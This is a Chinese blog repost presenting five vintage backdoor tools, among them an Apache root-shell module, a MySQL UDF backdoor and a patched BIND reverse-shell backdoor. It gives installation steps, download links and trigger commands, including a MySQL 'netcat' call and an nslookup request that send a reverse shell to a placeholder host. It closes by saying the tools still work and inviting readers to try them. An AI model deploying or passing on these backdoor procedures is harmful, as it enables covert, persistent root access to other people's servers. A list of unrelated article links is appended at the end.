老式后门之美:五种复古远程控制工具(含下载)
来源:互联网 发布:火车票抢购软件 编辑:程序博客网 时间:2024/05/17 05:17
目前,高级的rootkit技术可以帮助你在渗透中拿到一个shell后进行持久性控制。此外,还有供应商故意提供了一些植入后门,但那就是截然不同的故事了。尽管各式花样翻新的技术与代码层出不穷,可你还记得曾经用过的那些后门吗?
本文介绍了5种远程控制工具(Remote Administration Tools)RAT ,又称“后门”,这完全是根据作者个人喜好挑选的。这是我进行合法渗透测试时所使用的工具,它们对于验证渗透的持久性与测量防御手段的有效性提供了重要的帮助。
1.mod_rootme——Apache模块后门(2004)
“mod_rootme是一个非常酷的模块,它可以在Apache中安装一个后门,你只需要进行一个简单的GET请求,就可以拿到一个root权限的shell,并且在系统中没有任何日志记录。”
作为最著名的工具之一,你只需要执行一个简单的make命令来编译共享库,将它复制到模块目录,在httpd.conf中写入入“LoadModule rootme2_module /usr/lib/apache2/modules/mod_rootme2.so”,然后使用‘apachetl stop;apachectl start’重启httpd后台进程。之后,通过“GET root”命令你就得到了一个root权限的shell。
下载:https://packetstormsecurity.com/files/33652/mod_rootme-0.3.tgz.html
2.raptor_winudf.sql —— MySQL UDF后门(2004-2006)
“这是一个基于UDF(用户定义函数)机制的MySQL后门工具。可以用它来产生一个反弹shell(netcat UDF监听80端口)或者执行一条系统命令(exec UDF)。”
对于这个后门,你可以使用一个简单的命令‘#mysql –h x.x.x.x < raptor_winudf.sql’将后门作为一个用户定义函数注入到MySQL中。这样你便可以从MySQL shell执行‘mysql > select exec('ipconfig > c:\\out.txt');’命令。
这个反弹shell实现了一个有趣的功能,可以使用命令‘mysql> select netcat('y.y.y.y');’来调用,之后就会发送一个交互式shell在指定的主机(y.y.y.y)的80端口上。
下载 (Win32): http://www.0xdeadbeef.info/exploits/raptor_winudf.tgz
下载 (Linux): http://www.0xdeadbeef.info/exploits/raptor_udf2.c
截图来源:infamoussyn
3. get_wbkdr.dll插件——Winamp播放器后门(2006)
“wbkdr是非常著名的高保真音乐播放器软件Winamp后门的一个POC,它利用了插件接口,在24501端口中调用cmd.exe。”
下载:https://packetstormsecurity.com/files/53268/wbkdr.zip.html
4.BIND反弹shell后门(2005)
BIND是世界上最流行的DNS服务器软件之一。这个后门使用了BIND未发布的补丁,是我的一个来自阿根廷的朋友开发的。基本上,需要你以root用户的身份来打补丁、编译以及运行服务。一旦运行,用‘nslookup backdoorpassword:x.x.x.x:port target_DNS_server’ 发送一个DNS请求,将会在主机x.x.x.x的给定端口上触发一个反弹shell。
5.Knock-out—— 基于端口敲门(port-knocking)的后门
这是我使用数据包嗅探库libpcap(服务器)和数据包构造库libnet(客户端)制作的后门。我运用了端口敲门技术,它可以是一个绑定端口的shell也可以是一个反弹型的shell。服务器与客户端使用相同的配置文件来决定使用哪些端口以及发送每个网络包时间所需要的时间差。Knock-out支持TCP和UDP,并且最近在Linux主机中仍然可以工作(测试系统Ubuntu Server 14.04)。
下载:https://packetstormsecurity.com/files/52834/knock-out.tar.gz.html
作者寄语
这些后门至今仍然有效,或许你可以尝试一下。同时,我鼓励大家与我们分享你见过的有趣的后门、你喜欢的后门、你用过的最特别的后门以及你所钟爱的后门。别忘了在Twitter上使用#oldschoolbackdoors(老式后门)标签!
- 老式后门之美:五种复古远程控制工具(含下载)
- I Can See You 远程控制软件最新下载地址(含所有设计文档)
- TeamViewer远程控制工具
- 数学之美读书笔记(五)
- 《数学之美》读书笔记(五)
- 安全工具(含破解)的下载地址
- 苹果工具官方下载地址(含xCode)
- C++编程之下载者与远程cmd控制
- 架构之美下载
- 安卓手机的后门控制工具SPADE
- 安卓手机的后门控制工具SPADE
- Qt远程控制源代码下载
- 示例:远程控制工具TeamViewer
- Geohot:iOS 7越狱工具不含中国公司后门程序
- Navi.Soft31.开发工具(含下载地址)
- 如何从Maven远程存储库下载?(五)
- 数学之美系列五 -- 简单之美:布尔代数和搜索引擎的索引(转载)
- BenignCertain:一款可以远程提取思科VPN密钥的黑客工具(含泄漏文件下载地址)
- 黑马程序员_java12_java中的异同
- #1015 : KMP算法
- Android判断当前系统语言
- jquery的jquery c.browser msie undefined的问题解决办法
- 【论坛】网络与通信大板上线公告
- 老式后门之美:五种复古远程控制工具(含下载)
- android studio给项目添加第三方库的方法
- MongoDB删除字段和部分字段查询
- Android Fragment生命周期
- U8SDK问答及汇总
- Maximum Depth of Binary Tree
- Fragment add 和replace的区别
- 消息中间件
- Path Sum